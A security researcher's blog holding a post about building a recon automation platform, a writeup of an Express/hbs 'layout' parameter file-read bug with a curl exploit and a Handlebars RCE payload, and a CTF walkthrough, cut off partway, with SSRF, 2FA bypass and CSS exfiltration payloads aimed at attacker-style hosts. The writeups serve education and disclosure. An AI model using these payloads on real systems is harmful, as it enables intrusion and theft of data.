Shoeb Patel

Automata: A General-Purpose Automation Platform

Shoeb Patel — Wed, 27 Jul 2022 08:03:37 GMT

In this post, I summarise how I ended up building Automata, a platform to easily create and run arbitrary and powerful workflows that during their executions, can also store data as well as invoke alerts.

If you want to skip the content and first see what Automata looks like, click here.

Introduction

Until mid-2020, I used to be a moderately active bug bounty hacker but then I decided to start working on automating my workflow of doing attack surface reconnaissance.

FYI, Reconnaissance(recon) is gathering publicly available technical information about Target Company's Apps/Assets and throwing lots of TCP and HTTP packets at IPs, and domains hosting these to find interesting ones among thousands. Jason Haddix's Training "The Bug Hunter's Methodology at DEFCON 28" goes in-depth, if you want to learn more about it.

Later, what actually happened can be accurately summarised with an XKCD!

(xkcd #1319)

Even till now, I haven’t gotten back to actively bounty hacking. Obviously, work and personal life also took priority but this side project also got a big chunk from it. So, as you would ask, what happened?

Lessons From the Past

📄 Local Scripts

Like every web hacker, I started with writing hacky scripts, which were just chaining some of the open source tools to get the job done. The scripts were running the usual tools for doing Passive Enumerations, Network Scanning, Application Layer Fingerprinting, etc.

This was helpful for starting manual hacking as I could now pick interesting assets to hack based on what recon automation found. But there were problems with it:

Long-running slow subtasks like Port Scanning, and Screenshotting were not finishing on targets with the huge number of assets.
Scheduling tasks with cron for Continous Automation, and Monitoring, was not possible on the local machine. Hence, the data would become stale quickly, and I was not able to trust this data even on the next day.
Searching, aggregating, analytics, etc. on this unstructured & unindexed data dump was not possible.

These problems were not enough for me to solve them, I was pretty satisfied with the results from my core app hacking and was just using recon for kickstart.

Until I lost $8,500 in reward for a critical vulnerability getting duplicated due to a weird trail of events.

Around 2019-2020, reporting critical CVEs was in fashion. There was a particular critical CVE that was trending at the time. The CVE was of Path Traversal + Partial Write Primitive = RCE for an asset that I had seen in the past on one of the very high-paying targets. I had not done a full recon for this target, just simple subdomain scraping and I did not have the fingerprint data, so decided to launch the scripts and browse through fingerprints on the search engines in parallel (Shodan, Censys, etc).

Friday, 9:00 PM - Start of Manual Recon and Automation.
Friday, 9:30 PM - I am on page Y of Censys search results, scripts are still running.
Friday, 9:31 PM - A friend interrupted me for dinner. I close the laptop and don’t come back to it till the next day.
Saturday, ~3:45 PM - I return back to look at the Recon work I was doing.
Saturday, 3:50 PM - I find the asset I was looking for on page Y+1 of censys search as well as in the script’s data dump and I check if it’s vulnerable to the Critical CVE, it is Vulnerable! I get excited and report it.
Saturday, 4:13 PM - I get to know that I am the first to report the duplicate of a report submitted on Saturday, 8:23 AM.

($8.5k lost on a single report.)

At that moment I thought, I lost the bounty just because I got interrupted. But soon after, I realized the real root cause is not having a system with capabilities of continuous automation, monitoring and alerting.

Similarly $50k+ worth of easy bounties I lost to all CVE duplicates in that period alone. Many hackers like me were just not able to capitalize on these easy wins at the time.

So, I decided to build a tool to solve this systemically.

📸 Montage - The Handcrafted ASM Tool

In April 2020, I started developing a hardwired workflow service that would do what my scripts used to do and store all the results in the Database. This also used the stack’s native task queue powered with Redis to distribute the workloads to multiple processes. Also wrote a UI-API for performing CRUD on this Data and invoking workflows.

I called it Montage.

At a high level it looked like this:

(Montage HLD)

At the time I did not know better and Montage was anyway a great improvement compared to my local clunky scripts.

Long executing subtasks were not a problem anymore as they were being run on a VPS with good resources.
Now I could run the automation continuously as well as in schedules, this solved problem of stale data.
The UI, API, and DB solved the problem with Data Usability (Now I could search for vulnerability signatures across all the Bug Bounty targets I was interested in, you can imagine this as my personal Shodan).

As you can see, on paper, it solved all of my previous problems right?

But Montage came with its own problems (at least in the way how I designed and wrote it at the time), and they were always in the back of my mind from the start but I ignored those and thought of tackling them whenever they surfaced.

But they surfaced very soon.

I chose dynamically typed language for developing everything and wrote zero tests.
The code was not well structured from the start as I just wanted to get this done and move on to actual hacking. Updating and maintaining Workflow Service orchestration code became very hard.
It was not possible to deploy and distribute workflows on multiple machines, I was relying on just vertical scaling.
I also did not pay much attention to UI code and design. It was coming up very poorly and was discouraging.
Anytime adding a new workflow or updating existing ones was breaking things and taking a lot of debugging time. Poor DevX.
Nobody else could contribute their workflows themselves as they would have to learn the tech stack as well as the code.
Workflow Service was a critical point of failure. Task failure handling was flaky.
Basically all the software engineering problems that come with a poorly designed system.
… I can just go on. It had many problems.

These are all real problems but Montage was a good MVP and usable for Recon. I would have just gone ahead and used this anyway. At least at the time, I don’t know how I would have designed it better on my own with just the knowledge I had.

I also thought of just utilizing what other people were developing but these tools suffered with their own problems, and customizing them to my needs was not possible. I wanted something according to my designs.

Luckily, when I was about 70% done with developing Montage, parallelly I was working on other projects which involved reviewing a CI/CD system for security issues and unrelated Automation.

Decomposing a CI/CD system for hacking, gave me a deeper understanding of how its different components worked and more importantly its Capabilities.
Automation project required running some OSS CLIs based on certain triggers. As I knew, designing and developing my own job runner is a pain (If you think, Montage at the core is also a job runner).
The Infrastructure I was working with did not have access to any serverless self-scaling workload runner system.
But, the CI/CD system was self-scaling and container-native.
I used a single-step CI pipeline to execute the CLI so that now I don’t need to worry about the problems with job runners, it’s all now off-loaded to CI/CD system.

(... kind of using CI as a serverless compute platform.)

This was a sustainable and minimal design that was easy to maintain. So now I knew better means to automate and I decided to sunset Montage.

🧩 Automata - A proper way to automate anything!

I started with listing what was ideally required:

Workflows:
- It must be super easy to add, schedule, continuously run, test, update, and remove any number of workflows.
- Workflows must be modular and we should be able to define Code, Environment, Input, Output, and Resources (CPU/Memory) required for these modules.
- Workflows must be able to take advantage of multiple machines.
- Previous executions of workflows must be auditable.
Data Persistence:
- The data and logs produced during execution must be stored.
- Should be easy to define storage schema.
- We should be able to Search, Visualize, and Analyze data.
- It should also provide artifact storage.
Alerting:
- Workflows should be able to raise alerts while executing.
- We shouldn’t need to write code if we wanted to integrate a new alerting mechanism.
- Alerts raised in past must be stored.
Usability:
- The UI must be pretty.
- Collaboration on workflows with teammates should be possible.

I called it “Automata”. It is a reference to “Automatons from Theoretical Computer Science.”

I wanted it to be an abstract and generic platform to create arbitrary and customizable automations which served any purpose. What I did not want it to be was another hardwired Attack Surface Management(ASM) tool for just security use-case.

Basically not another ASM tool but a Low-code platform to CREATE ASMs or any type of such automations through UI.

October 2020, I started deep diving into the components that I will be stitching together to build Automata.

UI Design and Frontend App Development Frameworks.
Chosen CI and its underlying infrastructure.
Suitable Databases and design patterns.

On 22 November 2020, I submitted the first commit for the Automata repo with base code. It was the first commit of many.

(Github activity, Year 2021)

At a very high level, the design looks like this:

(Automata HLD)

I took a slow but consistent approach towards working on it and completed Automata’s first MVP, in February 2022. I was about to invite some friends to try out the vBeta but then some high-priority tasks came and I was not able to get back to it.

There is still some polishing work remaining on reliability, maintainability, and some minor features. But at this current moment, this is how the Automata looks :)

vBeta Demo

(vBeta Preview)

In the above video, you can see the gist of its capabilities. The workflows in the video are “The Bug Hunter’s Methodology” by Jason Haddix and a standard github leak monitor.

And now, this is how easy it is for me to create new workflows ⬇️

(Creating a sample workflow on Automata)

Automata makes it effortless to create arbitrary workflows. The other features i.e. Objects, Visualizations, Tripwires, etc. are complementary to workflows and make up for the functionalities other than automation.

Conclusion

After my senior year of college, I never got a chance to work on a full-fledged software project which did not involve security, all of my internships and work revolves around Security Engineering and Hacking.

For me, this side project was an enjoyable experience in Software Engineering and System Design. While developing I got to know about similar platforms, and it was a satisfactory validation of my ideas for Automata.

As no system is perfect, I would love to hear people’s thoughts on how Automata can be better.

After looking at the demo, if you think Automata can be useful for you and want to try it out, or if you have any feedback, please reach out to me via this Google Form or social media (Linkedin, Twitter).

Thanks for reading till the end.

Best,
CF

How Flipkart Reacts to Security Vulnerabilities

Shoeb Patel — Tue, 19 Apr 2022 12:22:57 GMT

Post was written for Flipkart Tech Blog while being employed as Senior Security Engineer for AppSec Team at Flipkart.

👉 Link to the post

The Secret Parameter, LFR, and Potential RCE in NodeJS Apps

Shoeb Patel — Sat, 23 Jan 2021 07:43:37 GMT

TL;DR

If you are using ExpressJs with Handlebars as templating engine invoked via hbs view engine, for Server Side Rendering, you are likely vulnerable to Local File Read (LFR) and potential Remote Code Execution (RCE).

#BugBountyTip💰

If the target is responding with X-Powered-By: Express and there is HTML in responses, it’s highly likely that NodeJs with server-side templating is being used.
Add layout in your wordlist of parameter discovery/fuzzing for GET query or POST body.
If the arbitrary value of layout parameter added is resulting in 500 Internal Server Error with ENOENT: no such file or directory in body, You have hit the LFR.

Details

About more than a week back, I stumbled upon a critical Local File Read (LFR) security issue which had the potential to give Remote Code Execution in a fairly simple ~10 lines of NodeJS/ExpressJs code which looked like the following:

var express = require('express');
var router = express.Router();

router.get('/', function(req, res, next) {
 	res.render('index')
});

router.post('/', function(req, res, next) {
	var profile = req.body.profile
 	res.render('index', profile)
});

module.exports = router;

The whole source can be found here.

If you are even a little bit familiar with NodeJs Ecosystem and have written at least your first Hello World endpoint in ExpressJs, you will certify that this is clearly straightforward and innocent code.

So after getting surprised and disillusioned by the security bug, I remembered that It’s indeed called Dependency Hell. To be honest, I should not have been that surprised.

The betrayal by in-built modules, dependencies, and packages have been the reason to introduce numerous security bugs. This is a re-occurring theme in software security anyway.

To check out if this is a known issue or not, I created a CTF challenge and shared it with many of my talented friends belonging to multiple community forums of Web Security, Node, Backend Engineering, CTFs, and BugBounty.

Node/Express.js Web Security Challenge:https://t.co/vjOUcxHdVx

Very short code: https://t.co/gkjcZ24YUt

Can you find the flag: 𝗰𝗳𝗿𝗲𝗮𝗸{.*}#nodejs #javascript #JS #ctf #bugbounty

CaptainFreak (@0xCaptainFreak) January 15, 2021

Turns out this was not known, Even after giving the whole source code of the challenge, only 4 people were able to solve it (all CTFers 🥳):

Congrats to all the solvers 🎊 and thanks a lot to everybody who tried out the challenge.

For the people who still wanna try out, I plan to keep the Profiler Challenge up for one more week. Stop Reading and check it out now!

Challenge Solution

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'

HTTP request:

POST / HTTP/1.1
Host: ctf.shoebpatel.com:9090
Content-Length: 48
Content-Type: application/json

{
  "profile": {
    "layout": "./../routes/index.js"
  }
}

HTTP Response (content of routes/index.js):

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 463

var express = require('express');
var router = express.Router();

const flag = "cfreak{It's called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}"

/* GET home page. */
router.get('/', function(req, res, next) {
 	res.render('index')
});

router.post('/', function(req, res, next) {
	var profile = req.body.profile
 	res.render('index', profile)
});

module.exports = router;

Flag:

"cfreak{It's called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}"

That’s It! What the heck, right? You might be thinking, what even is this layout parameter? and where is it even coming from. Soo out of context!

If you like Code Review, why don’t you find out? It will be a good code review exercise.

Secret `layout` parameter

To find out from where it is coming, we can track the flow of our input from Source to Sink till we find out the reason why LFR is happening.

Source (Line 3):

router.post('/', function(req, res, next) {
	var profile = req.body.profile
 	res.render('index', profile)
});

Let’s follow the path this profile object argument takes.

Definition of `res.render` in ExpressJs. Link

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var opts = options || {};
  ...
  ...
  // render
  app.render(view, opts, done);
};

“index” argument became view & our profile argument became the options parameter which became opts and got flown into app.render

Definition of `req.app.render` in ExpressJs. Link

app.render = function render(name, options, callback) {
  var opts = options;
  var renderOptions = {};
  var view;
  ...
  merge(renderOptions, opts);
  
  var View = this.get('view');
  
  view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });
    ...
  // render
  tryRender(view, renderOptions, done);
};

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

`view.render` in ExpressJs. Link

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

In View class, this.engine becomes an instance of hbs in our case and this.path = rootViewDir + viewFilename. The options argument is our profile.

Sink: Instantiation in hbs. Link

I will take the liberty here and modify the code a bit to make it linear and easy to understand, but you can check out the original version on Github.

function middleware(filename, options, cb) {
// The Culprit - https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122
var layout = options.layout;

var view_dirs = options.settings.views;
var layout_filename = [].concat(view_dirs).map(function (view_dir){
    // Some code to create full paths
    var view_path = path.join(view_dir, layout || 'layout');

    // This actually restricts reading/executing files without extensions.
    if (!path.extname(view_path)) {
      view_path += extension;
    }
    return view_path;
}
    
tryReadFileAndCache(layout_filename);

// in-memory caching Code
function tryReadFileAndCache(templates) {
    var template = templates.shift();
    fs.readFile(template, 'utf8', function(err, str) {
      cacheAndCompile(template, str);
    });
}

function cacheAndCompile(filename, str) {
    // Here we get compiled HTML from handlebars
    var layout_template = handlebars.compile(str);
    // Some further logic
}

We can stop analysing here, as you can see on Line 22 we effectively read from the Root Views Dir + layout and pass it to handlebars.compile which gives us the HTML after compiling the given file which we completely control (Except the extension cause it’s added explicitly from the config to the path if not provided already. Line. 12).

Hence the LFR, we can read any files with extensions.

RCE 💣

As the templating is involved, we do have a strong potential for RCE. It has the following pre-requisites though:

Through the above LFR read ./../package.json.
See the version of hbs being used, it should be <= 4.0.3. Because after this version, the hbs team started using Handlebars.js of version >= 4.0.14, Commit Link.
In Handlebars below this version, it was possible to create RCE payloads. There is an awesome writeup on this by @Zombiehelp54 with which they got RCE on Shopify.
And you should have a functionality of file upload on the same box with a known location, which is quite an ask considering everybody uses blob storage these days, but we never know 🤷‍♂️

With above fulfilled, you can write a handlebars template payload like below to get RCE:

<!-- (by [@avlidienbrunn](https://twitter.com/avlidienbrunn)) -->

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Fix 🤕

Easy fix would be to stop using the code anti-pattern shown in the above example like below:

❌ res.render('index', profile)

v/s

✅ res.render('index', { profile })

which I think many devs use already so that they can be more descriptive in templates with the usage of just “{{name}}” vs “{{profile.name}}”.

But think for a second again, is the above code safe? Yea sure, we don’t have a way to provide layout in the options argument to res.render anymore. But is there any way to still introduce the culprit layout parameter?

Prototype Pollution!

It would be ignorant if we don’t mention proto pollution in a Js/NodeJs Web Security writeup 🙃 !

Readers who are unaware of proto pollution, please watch this awesome talk from Olivier Arteau at NorthSec18.

As you can see, even the most common pattern (res.render('template', { profile })) of passing objects to render function is not safe, If the application has prototype pollution at any place with which an attacker can add layout to prototype chain, the output of every call to res.render will be overwritten with LFR/RCE. So we have DoS-ish LFR/RCE! With presence of exploitable proto pollution, this becomes quite a good gadget plus becomes unfixable unless we fix proto pollution.

Solid Fix

First fix proto pollution if you are vulnerable to it.
and you can remove the layout key from the object or do whatever to stop it from reaching that vulnerable Sink.

Let me know what you think should be the proper fix?

Above I have described my observations on a potentially critical vulnerability in the Setup of NodeJS + Express + HBS.

As this setup is pretty common, I wanted this writeup to be out there. The handlebars engine particularly is very popular due to it’s support of HTML symantics. Everytime I work on a side-project, I quickly setup the boilerplate code with quick one liner of express-generator cli express --view hbs and this creates the exact same stack the above issue is talking about. Don’t know how many time I might have used that code line myself. I plan to do the same kind of review for other view engines that express supports (ejs, hjs, jade, pug, twig, vash).

Anyways, thanks for Reading! If something is erroneous, please let me know, would love to have a constructive discussion.

It’s called Dependency Hell for a reason!

Best,
CF

HackerOne-2006 CTF Writeup

Shoeb Patel — Fri, 19 Jun 2020 04:37:25 GMT

HackerOne-2006 CTF Writeup

After playing quite an amount of CTFs till date, I can really say that this was one of the extraordinary ones and it is quite visible once you consider the magnitude of logical deductions it required to follow the right path and not the rabbit holes and the effort taken in arranging the stable infrastructure required. Thanks, Hackerone, and the Authors for amazing 24 hours of intellectual satisfaction which was much needed in the lockdown. It felt good to be in the Top 5s to crack this.

An Unorthodox CTF requires an Unorthodox writeup hence it will be a summarised walkthrough of my thought process. The Hackerone Report submiited can be found here #887766

For the people who actively tried and could not solve till the end, an illustrative TL;DR will be fine:

In a nutshell, Solution has 8 steps:

Index

Initial Recon
Exposed .git directory
Login 2FA Bypass
Server-Side Request Forgery
Android Challenges
API + OSINT
Privilege Escalation
Stealing Payment 2FA Code using CSS

Initial Recon

As soon as hacker sees the *wildcard,

We do Recon & Subfinder yeilds:

SubDomains	Notes Taken
bountypay.h1ctf.com	Static Home Page.
app.bountypay.h1ctf.com	For Customers Use, Marten is one of em.
staff.bountypay.h1ctf.com	For BountyPay employees probably.
api.bountypay.h1ctf.com	Hmm, The API service for above two. Has Open Redirect, Might be for chaining later🤔
software.bountypay.h1ctf.com	Interesting one, Can’t be accessed directly due to IP whitelist, I smell SSRF.

In the text ahead, I will address the subdomains as separate entities (Ex. app.bountypay.h1ctf.com will be just App)

Exposed .git directory

After trying usual bugs of Auth Bypass in attempts to login into App and Staff, we are just left with more content discovery, and doing usual dirsearch:

We find that some part of the .git directory is exposed on App for us to analyze. Looking into these files, we get a reference to a public Github Repo of BountyPay(bounty-pay-code/request-logger). This repo leaks a path(/bp_web_trace.log) where logs are stored for the App. The logs contain login credentials of a BountyPay Customer Brian Oliver(brian.oliver:V7h0inzX). Now we have a session on App I guess.

No No, Not so fast! BountyPay is secure. They have Login 2FA to save their customers 🙃. The App sends a 2FA code to the customer’s phone.

The POST request for submitting 2FA code had 4 parameters.
Username, Password, Challenge & Challenge_Answer.

The Challenge_Answer param is supposed to be the 2FA code. In the very first attempt after verifying that the weird Challenge Param is of length 32, I sort of guessed that this is md5 of answer and as the App is taking this from client-side, we might be able to submit our own challenge according to our own answer and fool the App, and BOOM. It just worked. Now we are logged In with Brian’s Creds on the App.

Server Side Request Forgery

POST-Succesfull Auth, App creates a Base64 encoded JSON cookie: token, which after decoding looks like:

{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

After fuzzing both params, we come to know that App is using hash for the session and account_id for creating URI for the server-side request to API endpoint for getting the Bounty Payment data for Brian’s account_id F8gHiqSdpK(App very generously gives away the endpoint in the HTTP response of /statements?month=05&year=2020)

(https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=05&year=2020)
Note: Direct access to this endpoint is not possible, there is some secret token added by App.

Remember the notes from Recon? Software is not accessible due to whitelist and Api has Open Redirect.

To reach the Software we need SSRF and to get that, we have:

Injection point(/api/accounts/account_id) in URI to Api
OpenRedirect(/redirect?url=) on Api to make the request go to wherever we want.

What we dont have yet is traversal in URI to reach /redirect from /api/account/account_id and account_id=../../redirect?url=software# might just work.

After testing the theory, it just worked!

{"account_id":"../../redirect/?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}

We have full-blown SSRF now and we can reach the Software. 💥

But there is nothing interesting on it. 😕 The HTML on Software only had one standard Login form with POST method:

<h1 style="text-align: center">Software Storage</h1>
<form method="post" action="/">
  <div class="panel panel-default" style="margin-top:50px">
     <div class="panel-heading">Login</div>
     <div class="panel-body">
        <div style="margin-top:7px">
           <label>Username:</label>
        </div>
        <div>
           <input name="username" class="form-control">
        </div>
        <div style="margin-top:7px">
           <label>Password:</label>
        </div>
        <div>
           <input name="password" type="password" class="form-control">
        </div>
     </div>
  </div>
  <input type="submit" class="btn btn-success pull-right" value="Login">
</form>

We just have GET SSRF and we can’t issue POST SSRF, After trying Scenarios like CRLF, etc. and not getting anything, this SSRF felt almost useless for quite some time. But I was sure that it is meant to hit Software in the scenario. I learned from the initial Login step on App that, If we don’t have Hint to move forward, all we can do is content discovery 🙂. Hence wrote a small python script to do Directory brute-force on Software using this SSRF.

import requests
import base64

burp0_url = "https://app.bountypay.h1ctf.com:443/statements?month=04&year=2020"

dirs = open("common-directories.txt", "r")
for d in dirs:
  token = '{"account_id":"../../redirect/?url=https://software.bountypay.h1ctf.com/'+d+'#","hash":"de235bffd23df6995ad4e0930baac1a2"}'
  token = base64.b64encode(token)
  burp0_cookies = {"token": token}
  data = requests.get(burp0_url,cookies=burp0_cookies).text
  print data

And on https://software.bountypay.h1ctf.com/uploads we get:

<html>
   <head>
      <title>Index of /uploads/</title>
   </head>
   <body bgcolor="white">
      <h1>Index of /uploads/</h1>
      <hr>
      <pre><a href="../">../</a><a href="/uploads/BountyPay.apk">BountyPay.apk</a>                                        20-Apr-2020 11:264043701</pre>
      <hr>
   </body>
</html>

A link to an Android APK! https://software.bountypay.h1ctf.com/uploads/BountyPay.apk which is directly accessible 😁. Now we download this APK and start analyzing. Turns out it is corrupted. I hackily tried to Fix the corruption, At some point, I even considered to fix this by reading all about PZip. Some cool references:

But, After banging my head for some hours, I got to know that I was one of the unfortunates to reach this step too early, As it was not intentional to give corrupted APK. Thanks to @Ziot on Hacker101 discord for letting me know that they have fixed the issue and later nahamsec also tweeted out about it. But I would have definitely played for hours with corrupted APK if Ziot had not notified.

Android Challenges

Reversing and analyzing the BountyPay App’s AndroidManifest.xml and Source Code, We get two know that there are 5 activities:

Activity	Purpose
MainActivity	A form that takes Twitter Handle and Username for analytics.
PartOneActivity	The Activity code Checks if it was opened through DeepLink URI having scheme = `one` and host = `part` and has parameter `start` = `PartTwoActivity`, If yes, then it stores that PartOne is solved and starts `PartTwoActivity`. ADB command to achieve above: $ adb shell am start -d one://part?start=PartTwoActivity
PartTwoActivity	Similary this activty too requires a deeplink to solve: $ adb shell am start -d “two://part?two=light\&switch=on”. After that, it makes a text Field and submit button visible. When we submit this form, it compares the String Value from text field with the one it fetched from DataSnapshot. If it is equal then we solve this step and it fires `PartThreeActivity`. We get this value to be `X-Token`, I used frida hook to dump the Strings which are being compared using handy frida-snippet. $ frida -U -f bounty.pay -l ./frida-snippet.js –no-paus

PartThreeActivity	This step too expects us to deduce the DeepLink from SourceCode analysis. It turn out to be: \$ adb shell am start -d “three://part?three=UGFydFRocmVlQWN0aXZpdHk=\& switch=b24=\&header=X-Token” where params are, `three = base64("PartThreeActivity")`, `switch = base64("on")` \& `header=X-Token`. It then makes a form visible which expects us to submit a valid Hash, we can again dump it out with same `frida-snippet` as in step two. Hash: After we submit this hash, App fires a POST request and leaks the Host \& Header in logs:
CongratsActivity	It congratulates after solving above 3 steps in sequence! Now we have the token! which we did not ealier. This `X-Token` can be used to directly access the Api.

API + OSINT

Now, we have a hint to work on Api with given X-token. From /statements endpoint on App we know that Api hosts a REST api on /api/*. With this much of little information, a hacker always is left with nothing to do other than more content discovery 🙂. I fuzzed for API docs/more endpoints on /* and /api/* on api.bountypay.h1ctf.com in a hope to see some hidden endpoints and yep, we do get the hit on /api/staff!

\$ wfuzz –hc 404 -H “X-Token: 8e9998ee3137ca9ade8f372739f062c1” -w wordlist/general/common.txt https://api.bountypay.h1ctf.com/api/FUZZ

This confirms that we are on the right path! 😪

https://api.bountypay.h1ctf.com/api/staff gives us something interesting:

And standard REST Api tests of finding more valid METHODS, Parameters on this endpoint yields:

Now we need to find what parameter we are missing and from where it is missing (GET/POST/Content-Type?).

By REST Api constructs we easily can assume that if GET /api/staff gets staff array, then POST /api/staff must be used for Creating new staff object. So let’s pass it the parameters related to staff. After some time of fuzzing and passing parameters like name, username, staff_id in GET queries \& POST body with different content types, we end up with:

So this indeed is how a valid staff creation POST request looks like! Now we just need to create one account for ourselves.

But unfortunately, nearly 1-2 hours of fuzzing did not result in anything to move forward. At this point, I had tried multiple scenarios from the account takeover scene to weird obscure fuzzing to create a valid staff account.
Turns out, I was again one of those few unfortunates who reached this stage too early! The hint for this next step was given just after I solved this step.

After too much of cosmic fuzzing, I started thinking maybe Fuzzing is not the way forward, like Git repo & Android challenges, there is a another dimension than Web to it. Maybe of OSINT. A scenario like staff leaking credentials on public forum is possible.
So I searched for terms like "BountyPay", "staff_id", "Sam Jenkins", "Brian Oliver", "STF:KE624RQ2T9" on Github, Pastebin, Linkedin, Facebook and at Last on Twitter! and found this tweet(later Hackerone retweeted it to give hint 😬):

We find Sandra in BountyPay HQ’s following accounts and in her account we find her uploaded photo of Employee ID card containing what we need, the precious staff_id=STF:8FJ3KFISL3

Now we have an account of newly joined employee Sandra on Staff.

sandra.allison : s%3D8qB8zEpMnc*xsz7Yp5

This marked my 16th hour of continuous hacking on this CTF, after this, I went to sleep 😪

Privilege Escalation

Looking around on the Staff App through Sandra’s account, We notice some fishy things:

Template parameter is client-controlled.
A weird way of updating Profile image through CSS(css/style.css) classes by having inline images as base64 encoding served through Data URI.
There is an admin role to some staff accounts.
Report This Page feature for admin to visit and see if there is something wrong.
And the most interesting:

$(".upgradeToAdmin").click(function() {
    let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {
        alert("User Upgraded to Admin")
    })
}), $(".tab").click(function() {
    return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
    $.get("/admin/report?url=" + url, function() {
        alert("Report sent to admin team")
    }), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));

The /js/website.js Javascript File.

It has an endpoint GET /admin/upgrade?username= which was for upgrading staff to an admin. But only upon admins invoking, it would work. Ohk, so we do have a CSRF-ish feature of Report This Page to admin. So lets report /admin/upgrade?username=sandra.allision

But the feature has security enabled!
Pages in the /admin directory will be ignored for security

After following every rabbit hole of bypassing this feature I gave up on it and started to look for something else and the last line of JS file caught my eye.

("#tab1" === document.location.hash && $(".tab1").trigger("click"), ..

This is almost useless in the app’s context, But it does one very interesting thing, and i.e. it triggers click event.

So if #tab2 is in the URL, all elements with class tab2 will get their click event triggered. And what if, one of that element has class upgradeToAdmin? Yep the click handler in our JS will fire the GET /admin/upgrade?username=. We also have a way to control CSS of elements through the Update avatar feature which takes an avatar class from the client-side.

So profile_avatar=tab1 upgradeToAdmin and #tab1 fragment in URI will trigger the ajax. But we want this to be triggered by admin. We need to report the page to admin where our injected classes are getting reflected? And we do have a unique and relevant page of tickets /?template=ticket&ticket_id=3582 where our classes are Reflected in our avatar element 🔥 So, Reporting /?template=ticket&ticket_id=3582#tab1 with profile_avatar=tab1+upgradeToAdmin will do the trick!

But we are still Just missing one thing of the puzzle.

let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {

we still don’t have a page to report on which our CSS classes are reflected as well as has an input element with name attribute username & value set to sandra.allison 😢

There were two possibilities, either there is HTMLi in the username or we have to use the Login template. The later seemed impossible at the moment so followed a bit of rabbit hole. But the use of the template parameter in query was itchy, it must have some use in CTF or else one could easily develop an app UI without such parameter.

I thought, What If we could load two templates(Login & Ticket) simultaneously with this param, and literally laughed 😆 But when I fuzzed the template parameter, I was shocked and ecstatic. literally. We can load multiple templates in one page indeed 🤯

/?template[0]=login\&template[1]=ticket&ticket_id=3582#tab1

It only not loaded two templates, It also respected ticket_id parameter. This definitely showed me that this is not a rabbit hole! Now as I was confident about my partial exploit URL to report to Admin, We still need value populated in input tag as sandra.allison. It was very easy to deduce that we are missing something in our URL, a query parameter probably that will populate input tag, a fair guess is username in the query. And yes! Application reflects it back into Login template in attribute value.

Final Exploit:

/admin/report?url=Base64(?template[0]=login&username=sandra.allison&template[1]=ticket&ticket_id=3582#
tab1 )

We report it and Sandra is now Admin! 👸

This Step was my favorite step in the CTF 🧠. The thing I liked was the components(Js & CSS) involved in solution were not just there for CTF, it was actually a working code and yet it gave us Privilege Escalation exploit.

After becoming admin, we get to know that BountyPay’s admins basically can see customers passwords in plaintext 👀, @Hackerone could have just contacted BountyPay support instead of declaring CTF to get Marten’s credentials (marten.mickos : h\&H5wy2Lggj*kKn4OD&Ype) but where’s the fun in that 🙂

Stealing Payment 2FA Code using CSS

We Login with these creds on App, Again bypassing the Login 2FA with the trick from step 2, Get the May 2020’s bounties, Click Pay, and ..

Another 2FA challenge! 😨

This time the implementation was different, First it asked us to send the 2FA challenge code, Then sent a POST request,

Seems like It’s taking the URL of a stylesheet which is used for styling the 2FA code page. To just confirm that if it can be changed to our controlled CSS and the execution context we are in:

No, Problem. ⚔️ We do have the Awesome research The Sexy Assassin - Tactical Exploitation using CSS from legendary Gareth Heyes, David Lindsay, and Eduardo Vela. TL;DR, We can exfiltrate the data from the 2FA page sent to Marten if some conditions are met. Attack Methodology from the above research:

CSS can Compute!

How:

element:condition{
    action;
}

So, a CSS payload like:

input[value*="secret"]{} {
    background-image:url("https://attacker.com/?value_contains=secret");
}

will successfully exfiltrate the information that one of the input tag on the HTML page contains value secret somewhere. In this way, we can use CSS Attribute Selectors for our exfiltration.

So let’s go step by step to deduce what’s on the marten’s payment 2FA page:

1. What elements?

input {
  background-image:url("https://tunnel.shoebpatel.com/?input");
}

a {
  background-image:url("https://tunnel.shoebpatel.com/?a");
}

p {
  background-image:url("https://tunnel.shoebpatel.com/?p");
}

div {
  background-image:url("https://tunnel.shoebpatel.com/?div");
}

we get the

"GET /?div HTTP/1.1" 200 -
"GET /?input HTTP/1.1" 200 -

Ok, so we do have \ tags to get the data out of em with payload like:

input[value^="s"] {
  background-image:url("https://tunnel.shoebpatel.com/?s");
}

But as this is a Blind CSS injection scenario, we can’t use classic techniques of exfiltrating the multi-length values, which require the vulnerable page to be iframe-able.* Reference.

This leaves us with only one possibility that either the 2FA code is of length one(unlikely) or the challenge author has put code in multiple input tags with each character in one of them!

2. How many s?
